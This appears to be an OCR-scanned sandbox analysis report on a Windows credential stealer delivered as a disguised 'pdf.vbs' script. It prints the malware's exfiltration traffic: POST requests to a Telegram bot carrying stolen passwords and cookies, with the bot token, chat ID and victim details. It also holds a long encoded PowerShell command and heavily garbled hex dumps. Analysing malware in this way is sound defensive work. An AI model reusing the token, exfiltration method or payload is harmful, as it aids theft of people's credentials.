Data Ascii: 17<zx+pLeL>u:EiR{)mL{r.KIN9DEb>;)si~j~k$J!7/)NSO}L?Z/50W<&b.&-A"IW,IvSO U%_g(i JfS(S&)LMb

Data Raw: 88 3c eb a4 14 87 Ob e5 ab Oa cf 9d 72 c4 90 aa dc Ob d8 ba 8a 31 6f 4e fe 1e a0 el 4c 32 72 e6 1b 29 b0 7
54 a7 ac 9f 38 bb 30 00 08 48 80 f8 1b 57 4d a8 81 76 ed 49 26 f4 d2 31 d4 09 ca a3 97 1b 2a 70 c4 5f 3b f5 7e c¢7 36 51
2d 64 a8 4a 76 b9 dd 3a 44 10 19 e8 5b ¢7 53 b9 41 49 59 ¢3 71 39 83 db 83 1b ab b5 08 45 0a 32 71 62 be 6b €6 b3 97
41 9b 07 bc b3 3b b7 44 c3 a5 f3 68 d6 3a f9 ae 02 d4 24 25 e3 7f a9 43 4a 10 37 58 aa 80 a6 40 14 ce 94 35 36 57 77 2c
cd d6 7a 22 90 7b 33 29 bd 2d be 87 f3 ee 45 4b a2 d3 52 b6 22 94 38 08 a6 6d 45 23 37 c5 6a 53 39 74 5f 9¢ 82 58 e6
3a 22 57 40 Ob db 03 6a ae a4 3e 60 43 c8 ed 18 fd 7e ca 71 fd 46 cb 98 d7 al ff 99 70 5b 88 db cf 5a d5 38 e4 le 67 00
cd 57 7c ed 6¢ de e3 ¢3 43 b7 32 a9 70 13 25 6a fO 9e 91 9b b4

Data Ascii: <rLoNL2r)TSOHWMvI&1*p_;~6Q-dIv:D[SAIYGIE2qbkA;Dh:$%CJI7X@56Ww,z"{3)-EKR"8ME#7jS9t_X:"W@j>
"C~qFp[Z8gW|IC2p%j

I Destination
Destination IP Process
Port

149.154.167.220 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data
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kBytes

Timestam
P transferred

2022-05-12 12:19:26 UTC 918

2022-05-12 12:19:26 UTC 918

2022-05-12 12:19:26 UTC 918

2022-05-12 12:19:26 UTC 919

Session ID Source IP
5 192.168.11.20
. kBytes
Timestam|
P transferred

2022-05-12 12:19:31 UTC 920

2022-05-12 12:19:31 UTC 920
2022-05-12 12:19:31 UTC 920

2022-05-12 12:19:31 UTC 921

2022-05-12 12:19:31 UTC 937

2022-05-12 12:19:31 UTC 941

Copyright Joe Security LLC 2022

Direction

ouT

ouT

Source Port

49779

Direction

ouT

ouT

ouT

ouT

ouT

Data

POST /bot2135733177:AAGBiIQMSh9sct4MULOkpdpBOpPO3n3AKBfA/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=-------------------------—-| 8da342734d3a29d

Host: api.telegram.org

Content-Length: 998

Expect: 100-continue

Connection: Keep-Alive

HTTP/1.1 100 Continue

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33
34 3237 33 34 64 33 61 32 39 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d Oa 0d Oa 2d 36 32 33 31 38 36 36 35 36 0d Oa 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 37 33 34 64 33 61 32 39
64 0d Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d
22 63 61 70 74 69 6f 6e 22 0d Oa 0d Oa 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a Oa 55 73 65 72 20 4e 61
6d 65 3a 20 41 72 74 68 75 72 2f 30 33 35 33 34 37 Oa 4f 53 46 75 6¢

70SFul

HTTP/1.1 200 OK

Server: nginx/1.18.0

Date: Thu, 12 May 2022 12:19:26 GMT

Content-Type: application/json

Content-Length: 640

Connection: close

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET, POST, OPTIONS

Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
"ok":true,"result":{"message_id":38612,"from":{"id":2135733177,"is_bot":true,"first_name":"luckyorig","username":"lucky
origbot"},"chat":{"id":-623186656, "title":"LUCKY ORIGIN LOGS","type":"group”,“all_members_are_administrators":
true},"date":1652357966,"document":{"file_name":"user-035347 2022-05-12 02-50-53.html","mime_type":"text/html"
,"file_id":"BQACAgEAAXKDAAKW1G J8-07pbKz3GUaYxDypoqUuxtA_AAKUAWACbOLpR1jrPd38PL2qJAQ", file

_unique_id":"AgADIAMAAmM6C6UC","file_size":424},"caption":"New PW Recovered!\n\nUser Name: user/03534
7\nOSFullName: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}

Destination
Destination IP Process
Port

149.154.167.220 443 C:\Windows\Microsoft. NET\Framework\v4.0.30319\CasPol.exe

Data

POST /bot2135733177:AAGBiIQMSh9sct4MULOkpdpBOpPO3n3AKBfA/sendDocument HTTP/1.1
Content-Type: multipart/form-data; boundary=-----------=--=----------- 8da3428d09d054e

Host: api.telegram.org

Content-Length: 21529

Expect: 100-continue

HTTP/1.1 100 Continue

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33
34 3238 64 30 39 64 30 35 34 65 0d Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64
61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d Oa 0d Oa 2d 36 32 33 31 38 36 36 35 36 0d Oa 2d 2d 2d 2d
2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33 34 32 38 64 30 39 64 30 35 34
65 0d Oa 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d
22 63 61 70 74 69 6f 6e 22 0d Oa 0d Oa 4e 65 77 20 43 6f 6f 6b 69 65 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 55 73 65 72
20 4e 61 6d 65 3a 20 41 72 74 68 75 72 2f 30 33 35 33 34 37 Oa 4f

Data ASCii: =-----=====nnnmmmmmmmemeaee 8da3428d09d054eContent-Disposition: form-data; name="chat_id"-623186656----------------

353470

Data Raw: al 7f 59 5e 72 f3 2f c1 3a 80 11 Oa 8e 4a c3 d3 e8 38 12 fd 5f 39 a4 50 f1 64 2a 9e be 54 ca 02 37 34 46 18 02
al fe 67 37 30 86 23 72 Oc 15 cb 88 1d 6c 04 8e 8 2f 5¢ 6a cf 3b a4 90 a9 ff 42 18 8c €9 05 c0 30 9a 82 al fe 2b 79 da 5a
3e ae Oe 1e 3e 36 f2 6a 4b 93 88 96 fc 7c aa d0 92 07 12 82 96 3c 10 8f ea ea 30 2e 2e 49 a4 34 2b Ob 9e 14 8a 8b a7 45
13 00 e7 98 18 3a 99 f9 37 fa 57 82 44 eb fc fa 45 18 3a c1 f6 fc 7f 3a 43 81 80 fc 47 08 63 €5 96 14 17 67 4d 45 30 Ob 6a
22 8e 8e 01 2e b6 df 8a 68 e0 13 35 a0 6¢ 75 76 73 b5 f3 45 7a a2 ec 91 Ob 72 e2 af fc e7 ee €9 e0 82 f4 Oc 90 77 b2 09
d0 92 9f 2b 45 17 38 57 57 65 e3 92 34 15 ff 53 9e 03 2¢ a0 75 80 9f ec Oc 4d 3c 80 30 08 e3 62 87 5e 67 81 8e 42 5f 32
fe 03 01 01 01 01 01 01 01 01 01 01 01 01 01 01

Data Ascii: Y~r/:J8_9Pd*T74Fg704#rl/\j;B0+yZ>>6]K|<O0..14+E:7WDE::CGcgMEQ]".h5luvsEzrw+E8WWe4S,uM<0b”gB_2

Data Raw: d7 94 d7 94 bd 97 f5 33 ab 1b 2b 3f cb 20 4f 35 87 35 4f 8f c0 06 36 41 Oe 3c 5b 2c ¢7 03 2e 5d de 66 de a3 7c
6¢ d0 78 a8 fd bf e8 49 33 7c 98 ff df d6 6d ff 67 ¢8 02 2d 1d 28 eb b2 8d 1a c4 7a 15 a0 82 5b 7c 77 51 65 86 08 92 01
aa 24 86 ab 65 6a 1f c4 3a 29 a0 c8 06 6e 2e 2a 9e 11 81 ec 01 2c¢ 39 ff d3 de 9f 47 82 Ob a2 24 ca 50 f9 {7 14 bf ab 83
3582 2acd 28 39 80 8f 43 ¢9 31 21 04 1c 96 d1 1e 8e 02 c6 eb 1d ac 6d 10 d1 32 40 a5 b0 f4 9e b5 17 e3 8b 94 55 5¢
1084 14 e3 26 a3 eb c1 28 Oe 68 58 2a 9e c2 Oc 3b 34 3a 1c 13 4a 43 90 b5 19 f7 4d 97 bb Of 6¢ 22 0a a7 63 c2 d1 3e 48
b4 ae ae 91 9e ae 9e 9e Oe 5a 1f 41 92 05 4e 58 5e f6 Ob f8 50 04 91 al 05 21 ba fc 3 10 04 Oe 6b 16 9d 7f 2b 30 a4 81
d1 9e c5 bl ce 1c d8 41 e0 4 80 c1 01 c6 bd 7f 3e Oe 80

Data Ascii: 3+? O5506A<[,.]f|IxI3|mg-(z[|wQe$ej:)n.*,9G$P5*(9C1L!IM2@U\&(hX*;4:JCMI"c>HZANX"P!k+0A>

Data Raw: 0d Oa 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 33
34 3238 64 30 39 64 30 35 34 65 2d 2d 0d Oa
Data ASCii: ---=----===--=====suenameeee 8da3428d09d054e--
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kBytes

Timestamp Direction Data
transferred

2022-05-12 12:19:32 UTC 941 IN HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 12 May 2022 12:19:32 GMT
Content-Type: application/json
Content-Length: 651
Connection: close
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
{"ok":true,"result":{"message_id":38613,"from":{"id":2135733177,"is_bot":true,"first_name":"luckyorig","username":"lucky
origbot"},"chat":{"id":-623186656,"title":"LUCKY ORIGIN LOGS","type":"group","all_members_are_administrators":
true},"date":1652357972,"document”:{"file_name":"user-035347 2022-05-12 03-02-20.zip","mime_type":"application/zip","fil
e_id":"BQACAgEAAXKDAAKW1WJ8-1SAfh2psvIE6WpMIOIFQ7IBAAKVAWAChoLpR5Us2wkDKILqJAQ","file_uniq
ue_id":"AgADIQMAAmMGC6UC","file_size":20946},"caption":"New Cookie Recovered!\n\nUser Name: user/035347\nOSFull
Name: Microsoft Windows 10 Pro\nCPU: Intel(R) Core(TM) i9-9900K CPU @ 3.60GHz\nRAM: 8191.25 MB"}}

Statistics

Behavior

@ wscript.exe

® powershell.exe
@ conhost.exe

@ csc.exe

@ cvires.exe

@ ieinstal.exe

@ wscript.exe

@ ieinstal.exe

@ ieinstal.exe

@ ieinstal.exe

@ ieinstal.exe

@ ieinstal.exe

@ ieinstal.exe

@ powershell.exe
@ conhost.exe

@ csc.exe
@ cvtres.exe
@ CasPol.exe
@ Click to jump to process
System Behavior
Analysis Process: wscript.exe PID: 8348, Parent PID: 5048
General
Target ID: 1
Start time: 14:15:49
Start date: 12/05/2022
Path: C:\Windows\System32\wscript.exe
Wow64 process (32bit): false
Commandline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\doc_65398086_4190362045539.pdf.vbs"
Imagebase: 0x7ff6c5d30000
File size: 170496 bytes
MD5 hash: 0639B0A6F69B3265C1E42227D650B7D1

Has elevated privileges: true

Has administrator true

privileges:

Programmed in: C, C++ or other language
Reputation: moderate
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File Activities

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

File Path

File Path

Access Attributes Options Completion Count Source Address Symbol
Offset Length Value Ascii Completion Count Source Address Symbol
Offset Length Completion Count Source Address Symbol

Analysis Process: powershell.exe PID: 2444, Parent PID: 8348

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

21

14:16:40

12/05/2022
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
true

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwBOAHIAdQASACAAUWBCAEUAVQBSAFQARQBS
AE4ARQAJAFMAbABhAGA4AIABTAHAAbBWBUAHQAYQBUADCAIABVAE4AQWBBAEWATAAgGAGUADQBIAGBAIABYAGUAaQBOACAAVABhAHIACABhAHAAZQ
AgAHUAZWBPAGYAdABIAHMAZAAJAEIAQQBDAESAUWBUAEEASQBSACAAZQBNAG8AaQBOAHKAaAAgGAFMADQBIAGQAIABVAFIATWBHAE
UATgAgAHYAYQBzAG8ACgBYAGgAY QBWACAAQQBIAGUAJABYAGBAIABQAEEAUGBBAFAASABSAEEAUWBUACAASWBYAHKADQBIAGUADA
BSAGBAYWAYACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4ACWBXAHUAZQA2ACAAagBhAGMAbwBIAGKAdABpAHMAIABQAEgATWBOAE
8AUABIACAAQQBIAHMAYWBVAG4AZABIAHIACWA3ACAAQWBOAGKAawBpAHQAY QBVAHAACWAGAFMASWBZAECARWAJAEQATWBNAEOARQ
BEAEEARWBTACAAbgBVAG4AYQBzAHMAaQBzAHQAY QAJAEEACYBJAGJAYWBOAGUAIABOAHYAaQB2ACAASWBhAHAACYBPAGYAbWBSAG
KAIABGAGKAbgBhAG4AcWBOAGKAIAANAAOAIWBUAHIAaQBWAHAAZQBOAHMAIABNAGWAawBIADIAIABUAGBAbgBIAHgACABSAGBACJAgAEYATWBM
AESARQBDAEUAIABBAHIAdgBIAGYAbBABNAGUAIABGAEEAUWBUAFAAUgBIJAFMAUWBZACAASABVAGCAZWB3ADYAIABSAGUACABIAHQANAAGAEJAQQ
BMAFYATWBOAESATABFACAAQQBYAGIAZQBJAGQACWAGAFAATABPAFQAVABFAFIAIABUAHMAZQBKACAADQAKACMARABSAGAAYQBIAG
kAawBrAGUAbgA3ACAAUWBUAESAWQBTAFQAVAAJAEgAeQBKAHIAbWBUAGKAJAALIACAACYBIAGQAaQBzAHQACGBPACAADQBIAHIAAQBJAGEACYAY
AHYAaQBWAHAAIABGAGEAYgBYADEAIABGAEWATWBWAEOAQQAJAEEAQQBOAEQAUWBIAESBAIABTAHQAY QBhAGWACWBOAHUAIABKAEUA
UwWBVAEKAIABUAGEAbgBhACAAQWBVAGOAbQBVACAARWB1AGEACABPAGAABWAJAFMAeQBUAGSACYBVAGAANWAJAGQAZQB2AGWAaQBU
AHIAZQBOACAATWBtAHMAJABUAGKAbgBNAHMAZWAGAFIAZQBzAGUAMYAgAGOAZQBOAHIAbWBSAGBAIABTAFUARWBFAE4ARQBLAEQAQYBPACAAUW
B2AGKACgBWAGUAdABzAHUABQAXACAAaABSAGQACgBhAHQAZQBYACAATWBCAFMARQBSAFYAQQAJGAFQARQBNAFAAQQBOAEEAIABWAE
KASWBIAE4ARWBFAFIAIABIAHAACYBpAHYAZQBIAGSACWAJAGIAZQBhAHIAJABIACAARQBAGIAZQBKACAAVQBOAEEAUWBTAEUATgJAGAESBAUABL
AEWAQQAGAGUAZQBIAHIAZQBIAHIAZQAgAFAAaQBjAHIAaQBOAGKAYWAZACAADQAKACMARQBFAEWASQBFAFMAVAAGAEMACGB5AHMA
dABhAGWAbwBNADEAIABEAFUAUWBJAE4ATQBFACAASQBUAGQAaQB2ADgAIAB1IAGQACWBIrAHIAaQBMAHQACWBWACAAVABIAGSAbgBVAGSAcgBhAD
EAIABOAHKAbgBKAHQAZgAgAEUADABIAHYAJABpPAGOAZQA2ACAAZABSAGSACWB2ACAAYgBVAGAAY gBVAGAAZQBYAHMAIABhAG4AdJABPpAGMAY QBwW
AGKAdJAAgAHUAbgBKAGUACgAgAHYAaQBIAHIAIABZAEQARQBSAFAAIABLAGWAYgBIAGIAY QBhAG4AZAASACAAVEBpAHAACWBOADQAIABNAGEAeA
BpAGOAbwBUACAAQQBWAHAACgBhAGKACWBIADQAIABBAFIAVABJAECARQBSACAADQAKACMAVQBEAFMASWBSAEKARABOACAAegBpAH
QAYQBzACAAcWBWAGEAbgBrACAAVABpAHAACABIAHIAaABVADYAIABZAGMACgBVAGWAIABGAG4AaQBzAHIAIABGAFIAQQBTAEKARWBFACAAZABP
AGUAJABpAGMAaQBhACAAaABhAGEAbgAgAFMACABhAGEABQBUAGQACWAXACAACWBIAHIAAgBpACAATABIAGQACWBhAGCAZQBIAHUAIABVAG4AAZA
BIAHIAawBIAG4AZABOADCAIABTAGEAbgBKAHAANAAGAGSAY QBWAHMADABIAHIAYgBhAHMAIABKAGKAcWBYACAAUABSAEBAUAAgAHIAbwBZAHMA
ZQAgAEYAbwBYAGSAbABhADKAIAANAAOAIWBUAHIAY QBUAHMAaQBzAHQAbwBYADEAIABXAEEAUgBEACAARABVAGOACWBMAGBAMWAQAEIAQQBKAE
EARABTAEUATgAgAESAQQBSAEEASWBUAEUAUgBCACAAYWBOAGWAbWAGAEKACWBVAGMAIABPAHIAbwBUAHQAaQB1AGOAMWAGAEUACQ
B1AGKACABWAGUANWAQAEUACABPAGCAcgBhAGOACgAgAEOAY QBOAHQAaQBzAHAAAQAgAFMAaABVAHAACABPAGAAZWBIACAAUgBFAF
QASQAGAEQARQBPAFIAUWBVAEOAVJAGAGEADABIAHUAIABHAHIAY QB2AGgAdQAgAEY AbwByAHMAZWA4ACAAVABIAEKAUGAgGAEWASQ
BUAEBARWBSAEEARgBSAEEAIABTAHQAcgBhACAAZABpPAHMAJABYAGKAIABTAFAATABIJAEMARQBBAEIAIABNAHIAaQBOAGOAZQBKAGKAIABSAHMA
ZQBhAGQAZWBhACAASWBBAFQAQQBQAFUAIABIAGEAbgBpACAAUABHhAHIAZQBUAHQAaABVAGBAIABIAGQACWB2AGKAIAANAACAIWBT
AGEAbQBsAGkAdgBzADUAIABhAGOAYgBpACAAdQBYAG8AbwBOAHCAbwBzZACAAUgBIAHMAaQBzAHQAaQBUAGCABAA3ACAAAABYAGEAbgBzAHAAbw
BYAHQAYQAgAHMACABIAGOAbABPAGAAZWAJAE4AQQBUAEKATWBOAEEATAAgAEUAbgBKAGUAdgBIAGAANgAgAFIATWBMAEWARQAGAFUAbgBPAG4A
dABIAGWAbAA2ACAABQBVAGQAZQAJAFMAZQBJAHQAaQBVAGAAY QBSAGWANWAgAFUAbgBzAGUACgASACAARYBIAHIAcgB5AHMABABVACAADQAKAC
MAVABBAE4ARABCAFIAIABMAHIAaQBVACAAVABPAGWAbBABPAGQANWAgAFAACgBVAGCAeQBWADKAIABIAEEAVOBFAEIAUgGAgAGOAYQB1AGCAZQBY
AGEAcwBzACAAYgBIAGOAY QBsSAGKAbgBNnAGMAbWAgAEgAZQBOAGUACgBVAGOAbwBYAHAAMgAgAFMAbgBhAHAACGBIACAAQQBCAE4ARQAgAEWAEQ
BzAGQAZAAgAFUAbgBKAGUACgAgAAOACGAJAEOAVQBMAEWARQBJIAE4AUWAJAEOAY QBNAGQAY QBSADQAIABOAESATgBDAFIAWQBTAFQAIABIAGSA
ZQBgAHIANQAQAEIAVQBOAEKATgBHAEUAIABTAFCASQBEAECAIABMAG8ACgBWAGEAZWBOACAAVABZAFAARQBHAESARAAGAFMATQBB
AEEAUABBAFIAVABJACAAVQBOAEQARQBSAFMASWBPAFYARAAGAFMAawBVAGWAZQBNACAAY QBYAHUACWBOAGEAIABJAGBAYQBOACAA
QgBIAGsAeQBtAHIAZQAIACAACWBUAGKAZWBNAGUACgBIAHIAY QAgAE4AQQBCAEBAIABWAEEAVABUAEUAVABTACAAUABhAHIAYQBOADYAIABSAE
EAQgBBAFQAIABNAGKAcWBKAGUACWBjJAHIAaQBIACAAUABFAE4AUWBIACAAVABhAGOACYBhADGAIABQAFIAVgBFAEWAUWAGAAOACGAJAFQAbWBI
AGEAbgBOAGkAaAA1ACAACABVAHQAbwBYAG8AbwBzAGKkAawAgAE QAbwBYAHMAbwBpAG4AdAAGAGEAbgBMAGEAIABRAHUAY QBKAHIAaQBYAGUAIA
BrAGKAbABVAHYAYQBYAGUAIABCAEWAQQBOAESATABBAESAUWAGAEgAQQBGAEYAIABUAHIAY QBIAGsAdgBVAGCcAbgBIACAAUWBJIAECATgAGAFIA
ZQBzAGMAaQAgAHAAY QBUAHQAZQBUAGQAZQBZAGEAIABSAGEAZABPAGEADABNAGEAZAAZACAAZQBIAGIACgBVAGKAZABIAHIAIABUAG8ADABYAG
UACgAXACAATABIAHYAaQBNAGEAIABTAGsAcgB1ADUAIABBAGYAbBABhAGQAZQBIAGAAIABVAGAAZWBSAGEAOQAGAEEAZQBYAGBACWBVAGWAZQAZ
ACAADQAKACMAQQBMAHIAaQBrAGEAbgBKAGUAIABNAGUAZABSADQAIABVAGIACWBOACAAY QBUAHMAJABKAGUAIABhAGMAYWBIAGWA
ZQBYAGEAJABPACAACWBPAGWAaQBJACAASQBUAGQAZQBrAGWAMWAYAESAbYBIAGIADABPAGAAZWBIACAATgBVAHQAbWBKAG8AbgAgAFAAY QBjAH
UAbgBVAG4ACWAJAEIAY QBYAGKAdQBtAGOAIABVAGAAZABIADY AIABWAG8AbABhACAAYgBVAGBAYgBVAGBACWBOAGEAIABEAGUAeABOAHIAbwBY
AGBAJAAgAFQAYQB3AGKAZQBVAHAAZQBYAGEAIABDAHIAZQBzAHMAeQBYAHUAdABZACAAVABIAHgAJAB1IAGKACWBOAGIANGAgAEOAY QBEAGIAIA
BNAGKAYWBYACAAZABPAGYAZYBIAHIAZQBUAGMAIABOAESATGBTAEMASABJAFMAIABJAG4AbWBOAGUACWA2ACAASABIJAEWARABJIAEOASQBUAEEA
IABNAGUAdJABhAGKAbgAgAGEAbgBOAGKAYWB5ACAADQAKACMARQBWAGKADABKAGBAZABIAGMAIABVAHAAY gBSAGBAdWBWAGgAeQBs
ACAACABYAGUAJABYAGUAYQBOACAACYBIAGEAYWBJACAAWQBIAGWAbABVAHCAIABZAHUAY gBzAHQACgBhACAAUWBUAEEAQYBJACAARGBSAESAUW
BUACAAVABYAGUACWBOAGWAZQBMAHIAYQAJAAOACYAJAHAACYBIAGUAeABOAGKAIABTAFIASQBOAFQARQAgGAFMAawBhAGOAZgBpAGWAMWAGAEGA
YQBsAGsAYQBoAHMAbQBpAGQAIABBAGWAZQBIAGUAbgAgAHQAZQBSAGUAZgBVAGAAIABTAGEAY QBOAGUACYBWAGEABAAgAFQAVWBF
AE4AIABEAHIAJABYAHMANgAgAFIARQBNAESAIABBAEOAUABIAEKAQWAJAAOACYAJAEIACGBVAHYANAAGAEIAY QBNAHAAZQBYAHIAbwBUACAAUW
BIAEEARABPAFCATABJAESARQAgAEOAbWBIAHUACgBZAGYAbAAGAFUACWBhAG4AZABOAGUANQAGAFMAJABPAGYAdABZAGYACgAgAFMAZQBWAGKA
bwBUAG8ACABMADIAIABTAHQAZQBUAGCAY QBSAGWAZQBUADUAIABUAHYAaQB2ADKAIAB2AGKAY QBSAGOAY QBrAGUAIABBAHIAYgBIACAAUgBIAH
AAaQBsADKAIABBAHUAJABOAHYAIABCAGWAZQBhADgAIABGAG8AJABVADYAIABIAGEAbgBrAGQAaQBYAGUAIABPAGUAZABIADEAIABWAHUAeQBh
AGWAIABEAGUACABYAGUACWAZACAAQWBBAE4ATgAgAAOACYAJAFUAbgBKAGUACGAgAFYAaQBzAGSAZQBpADJAIABTAGUAeABpAHYAYQBSAGUAbg
BJACAAUAB1AG4AZABpACAAawBYAGEAdgBtAGUAIABEAGUAYWBhAGWAYWAGAECAbWBSAGQAYWB1AHAAIABIJAGOACABIADEAIABVAEQAUABFAECA
RQBTAESAUABTACAAdABPAGAACWB5AGSAbWAgAGUACWBZAGUAbgBOAGKAY QAgAFMAJABVAHIAaAAZACAAVYBpAHIAawBzAGBABQAJAEBASWBBAF
AASQBTAFMAVABSAEKAIABNAG8AbgBIAHQA2QBOAGUANWAGAFMAWQBSAEKATYgBHAEUATgBTACAASWBVAGAAZgB1AHMAaQBVAGAAZQ
ASACAAVABVAGOAZQBYAHCcAaABIAGUAbAAZACAASABBAFYARQBOAEUAUGBTAEgGAIABCAHIAY QBpACAADQAKACMASWBPAE4ARgBIAF
QAVQBSAEUAIABGAG8AbwBOAGgAbWBSAGQAIABCAEKATABCAESBAUQBVAEUAVAAJAFMAaABPAGYAdABhAGIAbABIADKAIABPAHUAJABZACAAdgBI
ACGAAANMRNAHIAZNORAGKAIARGARWANNRFAEMAWNRNACAARWREAFAARNRSAFFATARTACAAI WWRNAFRARWREAEMAIARNAFKAV/VARV/AFRA
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UABTAFQAIABTAEKARABUACAAVABYAG8AbABKAGQAIABDAGEACYBKAGKAIABIAGUAbgBZACAACGBUAGAAZQBIAGBAIABYAFgAWABWAEKAIABhAG
QAZABZAHQAbWBSACAACABhAHIAYgAGAFMAY QBSAGOAIABIAFKATABBAECAWQAGAFQAaQBSAHMADbGBPAGCAZQASACAARABVAHUAYWBIAHAAZQAX
ACAAUgBhAHIAZQBMAGKAMWAGAFAAbWBZAHMAIABOAG8AbgBhAHIAeQBVAHAAJAAGAFAAaABVAHQAbWBYAGEAZABPACAATQBIAGQA
YQAYACAAZQBXAHUAaQBUAGS8AeAAGAEEATQBCAFUATABBAFQASQAJAEEATABHAEUAQUBSAEEAIABIAGAAJABYAGEAbgBZACAADQAK
ACMAVWBPAESARABSACAATQBpAG4AaQAJAEYAbwBYAGYAaQBUACAAVIBSAGCAZQBYAGAAZQBIAGBAIABSAEEAVABBACAAdgBIAGWA
CABpACAATWBIAHYAJQBYAGQAZQBYAGKAIABPAEIAUWBFAFIAVGBBAFQASQAJAFQAQBIAGIAZQBYAGSAIABUAHKACABIADIAIABIAESBAUgBOAF
AASQBQAEUASQBDACAAZWBYAHUAbgBKACAAZgBYAHKACWAGAGAABWBUAGWAYQBYAGMAZQBUAGSAIABOAGKAJABVACAAUWBJAGUAbgBhAHIAAQBI
AHQAZQAGAFAAYQBYAGEACABYADMAIABBAGQACWBIADCAIABTAFQAUGBBAEYAVQBEACAATYBIAGQACIBhAGSAaWAGAEOAQQBJIAEWA
QQBCAEKATABJACAAUWBIAGEAYQBSAGKAZWBOACAAUWBLAEUASABFAEOAUGBFACAAQQBMAGCAY QBUAGCACWAGAEIARQBBAFIARABF
ACAAQUBFAE4ARWAGAGYAZQBKAGUACGBhAGMAIABIAGWAZABIAGIACGBZAHQAIAB2AGBAdgBZACAADQAKACMAY gBhAHIADWBIACAATABIAGYAJA
BmMAGEACgBOADMAIABOAGUADABIAHMAIABDAEGAQQBMAESAIABVAGAAaQBMAGKAZQBZAHMAY QAgAFMAawBYAGEAY QBWAGEAIABVAG
4AYQBKACAAbgBhAHMAYQBSAGKAIABSAGEAJQBNAGUAIABGAGSBACIB2AGEACWBrADQAIABCAGEAdABhAHQAZQBYAGAAZQBVADCAIAANAACAIWBQ
AEEAVQBDAEKAIABMAGBACgBoAGBAZQAJAEQAaQBZAHIAbWAGAEQAZQBIAGBAJQBIAGIAbQBIADKAIABUAGUADABIADIAIABDAGBADABSAHUAZA
BIAGIAbwBhADQAIABDAEUATABJAESAUWBDAEGAIABUAGKADABIAGUAbgBKAHQAIABBAHAAAABVAHIAIABDAGSAbQBIAGKAbgBKAGQABWBWACAA
RABJAFMAUABFAFIAUWBJAESATgAGAE SAbwBUAHQAAQBUAHUAY QBOAGKAMgAGAFUADGBJAGWAZQBYAGSAbABPADIAIABGAFUATABEAFQASQBEAC
AAVABVAHgAbWBOADYAIABSAGEAbBrAG4AZQBzAHMAIABNAGS8AbgBVAHQAEQBWADYAIABOAGUAJQBYAGSANAAGAGAAZQBIAHIAbWBWAGGAaQBS
ACAAaABIAGWACWBOAGUAbgBzACAAUWBUAFIAQQBQAE4ASQBOACAASABIAGQAZQAZACAATWBFAFYAUGBFACAADQAKACMAJABVAGOA
YWAQGAESATWBOAEYATWBSAEOAIABDAGKAJABYAG8AbgBWAHIAZQBZACAAUABVAHMAaQBOAGKAdgBIAGWAeQAJAEGARQBNAESATQAG
AFMAawBNAHAAOQAGAHMACABYAGBAZWB1ACAAQQBUAHQAAQBIACAAUWBOAESATWBQAEUAUGAGAEKACWBVAHQAZQBYAGUAaQA3ACAA
QWBVAFIATABJAEUAVWBVAFIATAAGAGYAYQBNAHMAIAANAAOAIWBBAEYAVABFACAARABYAGUAagBIACAAQYBPAGYAY QBUAGCACWBOAGOAY QAGAE
kAcgByAGUAYWBVAGCAbgAOACAAQWBCAEMATQBTAEOAVQBEACAACWBZAGBAbgBZAHYAaQBUACAAUGBhAGAAZAAYACAAVIBIAGQAZQ
ByAGgAZgBOAGKAMWAGAGAAbWBUAGEAbgBhAGWABWAGAGMAZQBYAHUADABIAGKAJAAGAEQAZWBUAGMAZQBUACAAY QBYAHQAAABIAC
AARQBpPAGAAY QBUAHMAIABGAHIAJQBIAGYAcgBhAGSAIABQAEEATABNAEUAQUAJAFMAY QBhAGOAY QBZAGSAIABPAHAAJABhAGAAJABIACAATABY
